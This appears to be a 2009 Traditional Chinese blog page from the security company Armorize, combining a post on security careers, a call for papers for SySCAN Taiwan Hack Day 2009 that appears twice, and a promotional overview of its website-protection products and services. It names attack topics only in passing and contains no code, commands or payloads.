[趣味]
趣味對某些人來說就是成就感，哪怕是博君一笑，甚至是 Do Evil.
當然你得先了熟悉你自己，有的人是寫程式寫得好會有成就感，有的人是處在安全產業的攻與防，自有無窮樂趣。
還記得高中的時候寫程式，也是寫遠端遙控程式，寫來自己玩很得意； 也誤擊過小綿羊.exe，變成 SubSeven 的被控端 :(
直到我進入了這個圈子，才確認自己的歸屬，寫程式﹙作/避免）邪惡的事情才有趣，對我而言，並非寫程式本身就有趣； 寫自己想寫的，摸索研究技術上的東西才有趣。
認識的一些朋友似乎也是這樣懵懵懂懂， 招搖撞騙才認識自己更深；年輕的讀者，你找到歸屬了嗎？
[產業]
還記得這個口號嗎？ "不錄用會寫病毒的人"，換個角度，這些技術人才的就業情況如何了？
"不符高道德標準" -> "往較低道德標準的工作機會發展"
"對資安工作熱情不夠" -> "往非資安工作發展"
還有甚麼可能呢？ "不懂資安這個產業"!!
一開始的初衷就是好玩，沒有想到可以以這個混口飯吃，更沒有想過這樣的產業也是有前景的. ﹙無心插柳柳橙汁）
後來才領悟，當你學了一堆密碼學，網路安全課程的時候，人肉市場的供需資訊並不對稱，中間有個 gap 需要被填滿。
將近10年前，我認識 Birdman 的時候，也一起認識了 PK，那時候有好幾位都在研究系統軟體，電腦病毒，軟體破解保護，直到我當兵前當兵後，發現怎麼越來越少同好了，Birdman 跟我說，都去寫軟體了，資安會餓死。
P.S Birdman 現在還是瘦瘦的，還健在 XDD
還有甚麼可能呢？ "資安產業規模及其限制"!!
你所會的技術基礎，台灣沒有符合的產業。
過去，你專精 compiler，你可能就會去寫 toolchain；現在，如各位所知道的，我們就有一項產品是用這樣的技術做出來的。
過去，你可能找來找去，不是 SI 就是代理商，因為台灣市場太小，自己做產品很容易餓死 :)
過去，你可能找來找去，不是 anti-spam，就是做 content filter，因為那樣的產品技術門檻相對的低，而且會被視為IT基礎建設，還可以有外銷的市場。
我相信還有很多業餘的資安技術份子存在著，或者是體內帶有資安因子﹙ex： 你明明是個金鋼狼，可是你還在和正常人一起生活著），更甚至你過去求職不順，收到太多"你已經加入人才資料庫，需要的時候會聯絡你"的 HR好人卡。
Armorize有高科技的潛力X光機，可以協助你一展長才。
*記得* ： 踴躍投稿 Hacker Day 很重要，一個了解資安人才需求的工作環境也很重要。
想了解 Armorize 有哪些人力需求 歡迎聯絡 Wayne（wayne在armorize點com）
想在投稿前，找人討論技術問題 歡迎聯絡 Kuon （kuon在armorize點com）
繼續閱讀全文...
2009年4月30日
SySCAN Hack Day「駭翻天」徵求講師
(轉貼自：http://syscantaiwan.blogspot.com/2009/05/syscan-hack-day.html）
SySCAN Taiwan Hack Day 2009 call for papers
SySCAN Hack Day「駭翻天」徵求講師
（請大家盡量幫忙轉貼）
今年的SySCAN前瞻資安技術年會，將於七月七日-八日，於台北與各位見面，感謝各界的投稿，今年的講師陣容格外堅強，全都是國際知名資安研究員（大駭客），BlackHat / DEFCON / XSecWest等國際駭客年會的講師，包括了：Dave Aitel（Immunity創辦人兼技術長、多屆BlackHat/DEFCON講師）、Charlie Miller（CanSecWest的Pwn2Own ‘08/’09兩屆冠軍）、Matt Conover（RSA、SANS、CanSecWest）、Stefan Esser（PHP安全第一人）、Justine Osborne（BlackHat、DEFCON）、Marc Schoenfeld（BlackHat）、Fyodor（BlackHat、HITB）、Jeremy Chiu（aka “Birdman”，SySCAN、OWASP）、Wayne Huang（RSA、OWASP、PHP）、Ben Nagy（Infosecurity, Ruxcon）等人，從Web安全，到路徑安全，到PHP核心安全，到虛擬化之安全，到Apple iPhone手機安全，到Google Android手機安全，保證每一場都精彩無比，讓大家接觸最前瞻之資安技術。
去年問卷反應第一的問題，是舉辦的時間希望為假日而非上班時間。但是本會的設計是緊接著SySCAN Singapore，新加坡結束後，講師才飛來台灣，故星期六比較困難，但是星期日是可以的。另一方面，其實有另一群與會者是希望本會在上班時間舉行的，因為視此為教育訓練之一部分，假日反而不方便。另一個多人反應的，是希望有教育訓練。經過多方考量與討論，我們決定將今年的SySCAN延長為四天，分為三部分活動，七月六日（週一）為SySCAN教育訓練日，課程將公佈於部落格與官網（*），七月七日-八日（週二、三）則為「SySCAN前瞻資安技術年會」，七月五日（週日）則首次舉辦「SySCAN Hack Day」（「SySCAN駭翻天」），活動一天，一人600NTD含中午便當與簡單茶水，Dave Aitel將做開場演講，而另外徵求講師，故發佈此call for paper。每位錄取之講師將由大會補助車馬費（Full talk=4000，Turbo talk=2000 NTD），免費參加七月七日-八日之「SySCAN前瞻資安技術年會」，並邀請參加七月七日之講師派對（speaker’s party），與SySCAN其他講師一起慶功，high到最高點！
「SySCAN前瞻資安技術年會」講師亦將到場與所有與會者一起於結束時投票，票選出最佳「Hack Day」講師，將致贈MacBook一台，與「SySCAN Hacker of the Day」獎狀一只，封為「SySCAN年度大駭客」。曾被封為「SySCAN年度大駭客」之講師，往後於會議再度演講時，一律補助車馬費（Full talk=6000，Turbo talk=3000 NTD）。
不論是車馬費、獎狀或MacBook，都是「SySCAN前瞻資安技術年會」之講師所沒有的！另外沒有錄取之前十名遺珠，將可半價參加Hack Day（不會公開姓名）。
報名「SySCAN前瞻資安技術年會」者，則可免費參加「SySCAN Hack Day」。
*最新資訊請見SySCAN前瞻資安技術年會blog：http://syscantaiwan.blogspot.com與SySCAN官網：http://www.syscan.org
*票價部分，七月5日Hack Day一票500NTD，全程三天（七月5日Hack Day，七月7-8日SySCAN Taiwan）共3000NTD，見：http://www.syscan.org/Tpe/registration.html
<<「SySCAN Hack Day」大會風格 >>
資安技術頂尖者，叫做「大駭客」。但是駭客是不破壞的，駭客會遵守負責的弱點揭露程序。「大駭客」技術一流，但是絕對不「黑」。「黑」不是「厲害」的代名詞，「黑」代表的是「不負責」、「犯罪」等行為。SySCAN敬仰大駭客但是鄙視「不負責」與「犯罪」之行為。「黑」很容易，看做不做而已，但是「大駭客」很不容易。我們歡迎各位駭客踴躍投稿！
<< 評審委員 >>
1. Thomas Lim（大會主席）, Founder & Orgainser of SySCAN, Founder & CEO of COSEINC
2. Wayne Huang（大會主席）, Co-organiser of SySCAN Taiwan, Founder & CEO of Armorize（阿碼科技）
3. Dave Aitel – Founder and CTO of Immunitysec
4. Kuon Ding – Senior Security Researcher of Armorize ASF
5. Matthew “Shok” Conover – Symantec
6. Jack Yu – Senior Security Researcher of Armorize ASF
第一階段先由熟悉中文之評審委員挑出具吸引力之投稿，然後將演講題目與大綱翻譯成英文後，英語系國家之評審委員共同決定最後錄取之講師。每一份投稿皆會收到被拒絕或被接受的原因。沒有錄取之前十名遺珠，將可半價參加Hack Day（不會公開姓名）。
<< 評分方法 >>
1. 內容技術紮實度 30%
2. 主題具前瞻性 20%
3. 講師為好的演講者 20%
4. 內容實用性 20%
5. 主題適合或吸引聽眾 10%
<< 演講種類 >>
演講希望以中文為主，其次為英文
A. Full talk：50 分鐘演講，徵求約四位講師
B. Turbo talk: 15 分鐘演講，徵求約四位講師
<< 重要日期 >>
公佈cfp與開放投稿：2009年五月一日
投稿截止：2009年六月五日或當評審委員覺得已經挑足講師時。所以早投早贏！
公佈錄取者：2009年六月十五日
Hack Day日期：2009年七月五日
前瞻資安技術年會日期：2009年七月七日-八日
講師派對：2009年七月七日晚
<< 投稿方式 >>
請將資料email至：cfp在syscan點org或hackday在armorize點com，主旨請註明：Hack Day 投稿
格式：
A. 姓名或代號：
B. Email：
C. 電話（手機佳）：
D. 公司或學校：
E. 投稿種類：1. Full talk，2. Turbo talk
F. 題目：
G. 投稿內容：可以略寫大綱，但是有投影片或其他輔助資料當然更好
H. 是否將在大會上發表免費工具或paper？
I. （此項可免）講師簡歷，包含曾經擔任之講師經驗：
<< 徵求題目 >>
今年特別徵求與「實際經驗」、「事件調查」或「資安鑑識」有關之題目。例如處理資安事件之實際案例與經驗，執行某次資安鑑識時之歷程，調查某資安威脅之經過等。
今年題目包含但不限於以下：
* 各類威脅之研究
* 大規模攻擊（掛馬、轉址、DNS、DDoS…）
* 實際經驗之分享，包括「事件調查或「資安鑑識」等經驗分享
* 作業系統安全（Vista、Linux）
* 行動裝置與嵌入式系統安全（SmartPhones、PDAs、Game Consoles）
* Web 2.0之安全（Web services、PHP / .NET / .asp / .jsp / J2EE / Ruby / Perl / Python）
* Web應用程式安全
* 計算機網路與電信網路之安全（VoIP、3G/3.5G network、IPv6、WLAN/WiFi、GPRS、SS7）
* 新一代技術之安全（Chrome、IE8、Android、iPhone）
* 虛擬化安全
* 惡意程式/Rootkits
* 僵屍網路（BotNets）
* 法律與駭客
* 任何有趣之題目
<< 如何可以投上？ >>
現在各國都有很多高水準之駭客年會，但是每個年會之風格卻截然不同，這完全看大會主席之定調，與評審團之組成與希望達成之會議文化。舉例來說，「SySCAN前瞻技術年會」希望提供與會者的是最前瞻的資安攻擊與防禦技術。所以在本年會中，即使某講師投稿了某大廠的超級0-day（零時差漏洞），也不見得會錄取--因為大會的目的不在提供破壞用的工具。此0-day之影響範圍再大，但是非新的漏洞形式、概念、或找到的方法也非利用新的方法，那麼就很難錄取…即使這是一個超級的微軟或linux或Adobe 0-day漏洞，也是一樣。因為SySCAN覺得，這種漏洞或威脅並非新類型，與會者並不會因為聽了這場演講而得到了新的資安知識，只是得知了一個新的打站工具或管道，而這個管道在0-day修復後就沒有價值了。相對的，如果該0-day為新類型之漏洞，或者為新的，往後可能成為重大威脅的漏洞，或者是利用新的方法找出來的漏洞，那麼即使該0-day目前影響範圍有限，還是很可能錄取。當然，SySCAN提倡負責的揭露，所以即使錄取後，也必須評估對方是否來得及在會議舉行前修復完畢等因素。
接下來就讓我們拿這次公佈的評選標準來談吧。
1. 內容技術紮實度 25%。SySCAN是很技術性的會議，所以技術內容之紮實度一定排第一。其實我們覺得在資安領域，其實管理面的挑戰與所需要的知識，一點也不比技術領域低，但是SySCAN是以技術為主的會議，所以首重技術之紮實度。
2. 主題具前瞻性 25%。這對本會太重要了，譬如某講師投稿了一個影響範圍極大的某大廠buffer overflow（緩衝區溢位）0-day，雖然很具話題性與「利用價值」，但是buffer overflow本身並非新型態的攻擊，而該講師也並非利用新的或特殊的方法來找到該漏洞，那麼可能錄取的機率就比較低。另外，什麼是「真的」前瞻性，也很重要。譬如某講師投稿了ARP spoofing / ARP poisoning研究，雖然近幾年ARP spoofing在台灣與大陸發生的案例非常頻繁，中文的資料似乎也不多，但是在資安領域超過十年的人，應該都記得，ARP spoofing / poisoning，是非常古老的攻擊，屬於可以放在教科書中的攻擊類型。由於太簡單，太常用，又用了太久了，所以近年來並沒有太多人願意做這方面的技術文章或演講；雖然近幾年在台灣用得非常頻繁，但是這並不表示這是具前瞻性之技術或威脅—這其實是超過十年並且很基本的手法。但是如果講師注意到，目前很多人其實對ARP spoofing/poisoning有誤解，誤認為是「sniffing的第一步」，而不知ARP是乙太網路上的協定，在骨幹上有很多地方其實並沒有乙太網路，ARP根本派不上用場，但是仍有很多其他sniffing的方式，例如打gre tunnel，玩BGP，弄OSPF，藉由SNMP設定switch，攻擊某些L4/L7加速器等，感染路由器等，而做一個「最新sniffing威脅整理」，那麼就會是具有前瞻性的好演講。
3. 講師為好的演講者 20%。SySCAN不但重視講師的內容，也重視演講的方式與台下的吸收。講師的內容再精彩，演講方式單調，表達不好，或沒有注意台下的反應，一下子講得太快太難，結果台下都睡著了，那就沒有達到吸收的效果。Matt Conover我們就認為在這方面非常有經驗，總是能抓住聽眾的水平，隨之調整速度，並隨時注意台下反應，是很好的講師。此外，講師就像球員一樣，這方面的分數是累積來的，就像網球中，排名前面的球員不用打會外賽，是一樣的道理。如果你很注意自己的表現，每一場都準備得好，講得好，當然你在評審心中的積分就高。如果都沒有講過，也不用擔心，凡是都有第一次，好的會議是很願意給新人機會的。但是如果投上了，一定要好好準備，不然搞砸了一次，下次要上就很難了。練習的時候，可以找朋友聽你試講，並且一定要錄音下來，放回來給自己聽，很有幫助。很多人第一次聽到自己的錄音都說：恩，我錄起來不像我…我講話不像這樣…。No，那個絕對就是你。
4. 內容實用性 10%。如果講的方法非常困難，對於一般人來說，根本不可能有環境來重複該手法，那就不具有實用性了。相對的，如果隨演講提供其他可讓聽眾受惠之資料，如公開免費工具、paper下載等 ，這方面的分數一定高。
5. 主題適合或吸引聽眾 10%。這考慮的是聽眾目前最有興趣的是什麼。假設最近ARP spoofing猖狂，讓很多新人想了解到底什麼是ARP spoofing，那麼一個相關的演講，雖然在「前瞻性」上得分不會高，但是在「吸引聽眾性」上卻是拿高分的。
最後，好的會議一定要投稿，不用怕，因為沒上也沒人知道你有投，況且沒上也並不表示你的研究不好，可能只是與大會今年主題不切合而已。但是好的會議都有好的評審團，回覆時會附上他們的意見，這些意見很具有參考價值。歡迎各位踴躍投稿，我們會場見！
最新資訊請見SySCAN前瞻資安技術年會blog：http://syscantaiwan.blogspot.com與SySCAN官網：http://www.syscan.org
SySCAN Taiwan大會主席 Thomas Lim與Wayne Huang 敬邀
有任何問題歡迎email Thomas（organiser 在syscan點org）或Wayne（wayne在armorize點com）
繼續閱讀全文...
_____ _____ _________ _ __ ______ _
/ ___/__ __/ ___// ____/ | / | / / /_ __/___ _(_) ______ _____
\__ \/ / / /\__ \/ / / /| | / |/ / / / / __ `/ / | /| / / __ `/ __ \
___/ / /_/ /___/ / /___/ ___ |/ /| / / / / /_/ / /| |/ |/ / /_/ / / / /
/____/\__, //____/\____/_/ |_/_/ |_/ /_/ \__,_/_/ |__/|__/\__,_/_/ /_/
/____/
__ __ __ ____ ____ ____
/ / / /___ ______/ /__ / __ \____ ___ __ // / __ \/ __ \
/ /_/ / __ `/ ___/ //_/ / / / / __ `/ / / / // / / / / /_/ /
/ __ / /_/ / /__/ ,< / /_/ / /_/ / /_/ / / /_/ /\__, /
/_/ /_/\__,_/\___/_/|_| /_____/\__,_/\__, / \____//____/
/____/
SySCAN Taiwan Hack Day 2009 call for papers
SySCAN Hack Day「駭翻天」徵求講師
（請大家盡量幫忙轉貼）
今年的SySCAN前瞻資安技術年會，將於七月七日-八日，於台北與各位見面，感謝各界的投稿，今年的講師陣容格外堅強，全都是國際知名資安研究員（大駭客），BlackHat / DEFCON / XSecWest等國際駭客年會的講師，包括了：Dave Aitel（Immunity創辦人兼技術長、多屆BlackHat/DEFCON講師）、Charlie Miller（CanSecWest的Pwn2Own ‘08/’09兩屆冠軍）、Matt Conover（RSA、SANS、CanSecWest）、Stefan Esser（PHP安全第一人）、Justine Osborne（BlackHat、DEFCON）、Marc Schoenfeld（BlackHat）、Fyodor（BlackHat、HITB）、Jeremy Chiu（aka “Birdman”，SySCAN、OWASP）、Wayne Huang（RSA、OWASP、PHP）、Ben Nagy（Infosecurity, Ruxcon）等人，從Web安全，到路徑安全，到PHP核心安全，到虛擬化之安全，到Apple iPhone手機安全，到Google Android手機安全，保證每一場都精彩無比，讓大家接觸最前瞻之資安技術。
去年問卷反應第一的問題，是舉辦的時間希望為假日而非上班時間。但是本會的設計是緊接著SySCAN Singapore，新加坡結束後，講師才飛來台灣，故星期六比較困難，但是星期日是可以的。另一方面，其實有另一群與會者是希望本會在上班時間舉行的，因為視此為教育訓練之一部分，假日反而不方便。另一個多人反應的，是希望有教育訓練。經過多方考量與討論，我們決定將今年的SySCAN延長為四天，分為三部分活動，七月六日（週一）為SySCAN教育訓練日，課程將公佈於部落格與官網（*），七月七日-八日（週二、三）則為「SySCAN前瞻資安技術年會」，七月五日（週日）則首次舉辦「SySCAN Hack Day」（「SySCAN駭翻天」），活動一天，一人600NTD含中午便當與簡單茶水，Dave Aitel將做開場演講，而另外徵求講師，故發佈此call for paper。每位錄取之講師將由大會補助車馬費（Full talk=4000，Turbo talk=2000 NTD），免費參加七月七日-八日之「SySCAN前瞻資安技術年會」，並邀請參加七月七日之講師派對（speaker’s party），與SySCAN其他講師一起慶功，high到最高點！
「SySCAN前瞻資安技術年會」講師亦將到場與所有與會者一起於結束時投票，票選出最佳「Hack Day」講師，將致贈MacBook一台，與「SySCAN Hacker of the Day」獎狀一只，封為「SySCAN年度大駭客」。曾被封為「SySCAN年度大駭客」之講師，往後於會議再度演講時，一律補助車馬費（Full talk=6000，Turbo talk=3000 NTD）。
不論是車馬費、獎狀或MacBook，都是「SySCAN前瞻資安技術年會」之講師所沒有的！另外沒有錄取之前十名遺珠，將可半價參加Hack Day（不會公開姓名）。
報名「SySCAN前瞻資安技術年會」者，則可免費參加「SySCAN Hack Day」。
*最新資訊請見SySCAN前瞻資安技術年會blog：http://syscantaiwan.blogspot.com與SySCAN官網：http://www.syscan.org
*票價部分，七月5日Hack Day一票500NTD，全程三天（七月5日Hack Day，七月7-8日SySCAN Taiwan）共3000NTD，見：http://www.syscan.org/Tpe/registration.html
<<「SySCAN Hack Day」大會風格 >>
資安技術頂尖者，叫做「大駭客」。但是駭客是不破壞的，駭客會遵守負責的弱點揭露程序。「大駭客」技術一流，但是絕對不「黑」。「黑」不是「厲害」的代名詞，「黑」代表的是「不負責」、「犯罪」等行為。SySCAN敬仰大駭客但是鄙視「不負責」與「犯罪」之行為。「黑」很容易，看做不做而已，但是「大駭客」很不容易。我們歡迎各位駭客踴躍投稿！
<< 評審委員 >>
1. Thomas Lim（大會主席）, Founder & Orgainser of SySCAN, Founder & CEO of COSEINC
2. Wayne Huang（大會主席）, Co-organiser of SySCAN Taiwan, Founder & CEO of Armorize（阿碼科技）
3. Dave Aitel – Founder and CTO of Immunitysec
4. Kuon Ding – Senior Security Researcher of Armorize ASF
5. Matthew “Shok” Conover – Symantec
6. Jack Yu – Senior Security Researcher of Armorize ASF
第一階段先由熟悉中文之評審委員挑出具吸引力之投稿，然後將演講題目與大綱翻譯成英文後，英語系國家之評審委員共同決定最後錄取之講師。每一份投稿皆會收到被拒絕或被接受的原因。沒有錄取之前十名遺珠，將可半價參加Hack Day（不會公開姓名）。
<< 評分方法 >>
1. 內容技術紮實度 30%
2. 主題具前瞻性 20%
3. 講師為好的演講者 20%
4. 內容實用性 20%
5. 主題適合或吸引聽眾 10%
<< 演講種類 >>
演講希望以中文為主，其次為英文
A. Full talk：50 分鐘演講，徵求約四位講師
B. Turbo talk: 15 分鐘演講，徵求約四位講師
<< 重要日期 >>
公佈cfp與開放投稿：2009年五月一日
投稿截止：2009年六月五日或當評審委員覺得已經挑足講師時。所以早投早贏！
公佈錄取者：2009年六月十五日
Hack Day日期：2009年七月五日
前瞻資安技術年會日期：2009年七月七日-八日
講師派對：2009年七月七日晚
<< 投稿方式 >>
請將資料email至：cfp在syscan點org或hackday在armorize點com，主旨請註明：Hack Day 投稿
格式：
A. 姓名或代號：
B. Email：
C. 電話（手機佳）：
D. 公司或學校：
E. 投稿種類：1. Full talk，2. Turbo talk
F. 題目：
G. 投稿內容：可以略寫大綱，但是有投影片或其他輔助資料當然更好
H. 是否將在大會上發表免費工具或paper？
I. （此項可免）講師簡歷，包含曾經擔任之講師經驗：
<< 徵求題目 >>
今年特別徵求與「實際經驗」、「事件調查」或「資安鑑識」有關之題目。例如處理資安事件之實際案例與經驗，執行某次資安鑑識時之歷程，調查某資安威脅之經過等。
今年題目包含但不限於以下：
* 各類威脅之研究
* 大規模攻擊（掛馬、轉址、DNS、DDoS…）
* 實際經驗之分享，包括「事件調查或「資安鑑識」等經驗分享
* 作業系統安全（Vista、Linux）
* 行動裝置與嵌入式系統安全（SmartPhones、PDAs、Game Consoles）
* Web 2.0之安全（Web services、PHP / .NET / .asp / .jsp / J2EE / Ruby / Perl / Python）
* Web應用程式安全
* 計算機網路與電信網路之安全（VoIP、3G/3.5G network、IPv6、WLAN/WiFi、GPRS、SS7）
* 新一代技術之安全（Chrome、IE8、Android、iPhone）
* 虛擬化安全
* 惡意程式/Rootkits
* 僵屍網路（BotNets）
* 法律與駭客
* 任何有趣之題目
<< 如何可以投上？ >>
現在各國都有很多高水準之駭客年會，但是每個年會之風格卻截然不同，這完全看大會主席之定調，與評審團之組成與希望達成之會議文化。舉例來說，「SySCAN前瞻技術年會」希望提供與會者的是最前瞻的資安攻擊與防禦技術。所以在本年會中，即使某講師投稿了某大廠的超級0-day（零時差漏洞），也不見得會錄取--因為大會的目的不在提供破壞用的工具。此0-day之影響範圍再大，但是非新的漏洞形式、概念、或找到的方法也非利用新的方法，那麼就很難錄取…即使這是一個超級的微軟或linux或Adobe 0-day漏洞，也是一樣。因為SySCAN覺得，這種漏洞或威脅並非新類型，與會者並不會因為聽了這場演講而得到了新的資安知識，只是得知了一個新的打站工具或管道，而這個管道在0-day修復後就沒有價值了。相對的，如果該0-day為新類型之漏洞，或者為新的，往後可能成為重大威脅的漏洞，或者是利用新的方法找出來的漏洞，那麼即使該0-day目前影響範圍有限，還是很可能錄取。當然，SySCAN提倡負責的揭露，所以即使錄取後，也必須評估對方是否來得及在會議舉行前修復完畢等因素。
接下來就讓我們拿這次公佈的評選標準來談吧。
1. 內容技術紮實度 25%。SySCAN是很技術性的會議，所以技術內容之紮實度一定排第一。其實我們覺得在資安領域，其實管理面的挑戰與所需要的知識，一點也不比技術領域低，但是SySCAN是以技術為主的會議，所以首重技術之紮實度。
2. 主題具前瞻性 25%。這對本會太重要了，譬如某講師投稿了一個影響範圍極大的某大廠buffer overflow（緩衝區溢位）0-day，雖然很具話題性與「利用價值」，但是buffer overflow本身並非新型態的攻擊，而該講師也並非利用新的或特殊的方法來找到該漏洞，那麼可能錄取的機率就比較低。另外，什麼是「真的」前瞻性，也很重要。譬如某講師投稿了ARP spoofing / ARP poisoning研究，雖然近幾年ARP spoofing在台灣與大陸發生的案例非常頻繁，中文的資料似乎也不多，但是在資安領域超過十年的人，應該都記得，ARP spoofing / poisoning，是非常古老的攻擊，屬於可以放在教科書中的攻擊類型。由於太簡單，太常用，又用了太久了，所以近年來並沒有太多人願意做這方面的技術文章或演講；雖然近幾年在台灣用得非常頻繁，但是這並不表示這是具前瞻性之技術或威脅—這其實是超過十年並且很基本的手法。但是如果講師注意到，目前很多人其實對ARP spoofing/poisoning有誤解，誤認為是「sniffing的第一步」，而不知ARP是乙太網路上的協定，在骨幹上有很多地方其實並沒有乙太網路，ARP根本派不上用場，但是仍有很多其他sniffing的方式，例如打gre tunnel，玩BGP，弄OSPF，藉由SNMP設定switch，攻擊某些L4/L7加速器等，感染路由器等，而做一個「最新sniffing威脅整理」，那麼就會是具有前瞻性的好演講。
3. 講師為好的演講者 20%。SySCAN不但重視講師的內容，也重視演講的方式與台下的吸收。講師的內容再精彩，演講方式單調，表達不好，或沒有注意台下的反應，一下子講得太快太難，結果台下都睡著了，那就沒有達到吸收的效果。Matt Conover我們就認為在這方面非常有經驗，總是能抓住聽眾的水平，隨之調整速度，並隨時注意台下反應，是很好的講師。此外，講師就像球員一樣，這方面的分數是累積來的，就像網球中，排名前面的球員不用打會外賽，是一樣的道理。如果你很注意自己的表現，每一場都準備得好，講得好，當然你在評審心中的積分就高。如果都沒有講過，也不用擔心，凡是都有第一次，好的會議是很願意給新人機會的。但是如果投上了，一定要好好準備，不然搞砸了一次，下次要上就很難了。練習的時候，可以找朋友聽你試講，並且一定要錄音下來，放回來給自己聽，很有幫助。很多人第一次聽到自己的錄音都說：恩，我錄起來不像我…我講話不像這樣…。No，那個絕對就是你。
4. 內容實用性 10%。如果講的方法非常困難，對於一般人來說，根本不可能有環境來重複該手法，那就不具有實用性了。相對的，如果隨演講提供其他可讓聽眾受惠之資料，如公開免費工具、paper下載等 ，這方面的分數一定高。
5. 主題適合或吸引聽眾 10%。這考慮的是聽眾目前最有興趣的是什麼。假設最近ARP spoofing猖狂，讓很多新人想了解到底什麼是ARP spoofing，那麼一個相關的演講，雖然在「前瞻性」上得分不會高，但是在「吸引聽眾性」上卻是拿高分的。
最後，好的會議一定要投稿，不用怕，因為沒上也沒人知道你有投，況且沒上也並不表示你的研究不好，可能只是與大會今年主題不切合而已。但是好的會議都有好的評審團，回覆時會附上他們的意見，這些意見很具有參考價值。歡迎各位踴躍投稿，我們會場見！
最新資訊請見SySCAN前瞻資安技術年會blog：http://syscantaiwan.blogspot.com與SySCAN官網：http://www.syscan.org
SySCAN Taiwan大會主席 Thomas Lim與Wayne Huang 敬邀
有任何問題歡迎email Thomas（organiser 在syscan點org）或Wayne（wayne在armorize點com）
繼續閱讀全文...
2009年4月27日
全方面的網站防護 － 技術介紹與案例
前言：
阿碼科技將與您分享網站威脅之實務案例與因應，更以「弱點的一生」來詮釋如何最有效地利用阿碼之「網站健診服務包（Armorize AppSec Suite）」中的「程式碼資安檢測（源碼檢測；CodeSecure）」、「網站應用層防火牆(SmartWAF)」、「即時安全監控(HackAlert)」、以及「木馬間諜檢測軟體(Archon Scanner)」等技術，讓企業在有限的資源下，擁有全方位的網站防護。相信透過實戰經驗分享成功案例，阿碼科技一起與您讓駭客無洞可鑽，享受網站安全、顧客安心、歡心獲利！
一、弱點的一生
上圖，很明顯提的是「系統」弱點的一生，這圖以前就常常被拿來說明了，只是是在 IDS、IPS 的時候，你有注意到嗎？所以我把 IPS 的防護作用放進去了， 網路應用程式防火牆 (WAF)的功能與作用是很類似入侵偵測防護(IPS)設備的。
上圖，就是「網站應用程式弱點的一生」，因為網站有包含需求、規畫、開發、測試、上線...的程序，當然，每個階段都有可能造成「弱點」，主要有網站邏輯設計錯誤、網路應用系統安全弱點 (OWASP)、SOP 程序弱點。這邊先針對 SOP 程序弱點舉例說明，網站上線之前應該有需要有一個類似標準作業程序(SOP)的文件，依據此進行網站上線前的一一檢點，確認每個項目都已經完成安全查核，其中應包含一項查核為「HTTP PUT Method」的檢測，做為確認系統無法隨意以 PUT 方式將檔案放入網站上，這通常都是對網站設定管理的不熟悉造成，為了避免相關的疏忽，可以發展一個「網站上線前的安全檢核清單」，避免這類設定不當造成問題。
目前金融產業在網站程式開發的生命周期中，已經是非常注意邏輯問題，以及網站上線的安全檢核清單問題，也累積了相當多的實戰經驗。對於其他產業來說，就必須特別注意整個網站程式開發的生命周期。當然，也有很多人的網站已經上線了，如何快速有效的進行防禦呢？協助您爭取時間進行全面快速有效的弱點修復呢？
最後除了系統、網站弱點，還有其他弱點需要注意嗎？你的 IT 基礎架構、網路架構、資安設備佈署、惡意程式防禦佈署...等，可能都會造成防禦漏洞的，你又該如何面對呢？
二、洞悉 Web 手法威脅
上圖，目前僅列出網站常見的威脅，至於，真正漏洞成因你得深思，可參考先前的一篇文章：「深思網站淪陷背後的意義」。另外有一篇文章也可參考：「網站多久沒健檢，是不是該關心一下了」希望能有幫助。如何洞悉網站威脅呢？由上表可以發現接獲通報來源，沒有一個是 IT 人員自行發現的，所以 IT 人員該如何培養敏感度呢？情報網是否情蒐管道暢通呢？尤其是客服或企業聯繫窗口，經常被人所遺忘的一群，一定要給予相當的資安敏感度才是。
另外，還有一個很重要的，就是地下經濟利益，才是造就威脅的真正成因。地下利益是動機、目的，威脅手法只是其手段，所以這點才是洞悉的關鍵之道。接下來，身為網站管理人或負責人，你得改變思維，到底網站上有哪些東西是有心人士想要的，有心人士會利用各種手段或手法來取的，你該如何因應呢？
上圖，是對於網站瀏覽者的威脅，其中接獲通報來源中有所謂的「網頁信譽評等 (WRS, Web Reputation Services)」，相關軟體可以參考這裡，某些程度這是會是有幫助的一個工具，如果不懂這是啥？哪你真的需要花點時間培養網路資安觀念了。同樣的，思考地下利益為何？你會發現不外乎「木馬、個資及金錢」，無論外在風險、威脅或各種風風雨雨，你應該知道有心人要的是啥了吧！對使用者來說就避免中毒、注意個資、不要用網路做跟金錢有關的事，但，用說的永遠比較容易，如何培養警覺性才是關鍵。
三、實際案例探討
1.密碼復原的邏輯錯誤
相關文章：
2008/10/09 「田納西男子駭進培林的電子信箱」
思考(當成課後問題吧！)：問題如何能提早發現？做好準備(案例學習)？你的網站有類似問題嗎？
2.Code的攻防戰
相關文章：
2009/04/19 「為何XSS（跨網站腳本）漏洞難改？以twitter Mikeyy六代蠕蟲說明」
2009/04/14 「漏洞修補不完，Twitter 蠕蟲五度發威：詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」
2009/04/12 「17歲少年：twitter XSS worm「stalkdaily worm」蠕蟲是我做的」
當你的網站遇上難纏的對手時，你該如何處置呢？開發人員也在事件應變處裡的一環了，不是嗎？早期的系統、網路漏洞問題，現在的程式開發漏洞問題，還有使用者警覺性的問題，你準備好了嗎？
思考(課後問題)：如何迅速找出有問題的程式碼？有效的修正程式碼？網站改版時該做甚麼？你有記取教訓嗎？對開發流程是否有衝擊？開發人員是否有案例學習討論？你做準備了嗎？
四、成功關鍵
1.產品要有人力技術配合：技術需要扎根，才能有效發揮產品優勢。當然，需要正確有效評估「現有資源」，檢視目前現有人力與資源。
2.產品要融入管理制度：向上管理、對下管理。
3.產品只10%的成本，90%的成本在建立管理與培養人力技術上。
4.您在選的是產品，還是在選服務與技術。
五、打造 Web AP 聯防網（Armorize AppSec Suite）
上圖，是目前阿碼主要產品，相信大家應該不陌生。
上圖，為阿碼產品與技術服務的戰略位置，其中最特別的是「資安技術稽核」，這是因為我們看過太多客戶內部的 IT 基礎架構、網路規劃配置、資安設備佈署、惡意程式防禦佈署...等，都有相當的錯誤觀念存在。舉最簡單的例子，我們在看過許多客戶的 IPS 部署後，還沒有看過正確佈署的，有誰關心您是否正確使用或有效使用產品呢？你的防禦佈署規劃是在疊層架屋嗎？我們會總體檢視，包含「網站架構」、「用戶端管理」、「網路基礎建置」三個面向，找出 IT 的盲點與弱點，提供補強建議。
上圖，是阿碼的ASF對客戶提供的加值服務大類。其中教育訓練，是提供客戶建立技術扎根的管道之一。其中還包含社交工程演練，提供一般使用者能培養電子郵件與上網的警覺性，這可不是用產品或技術就能達到的目標。
後記：
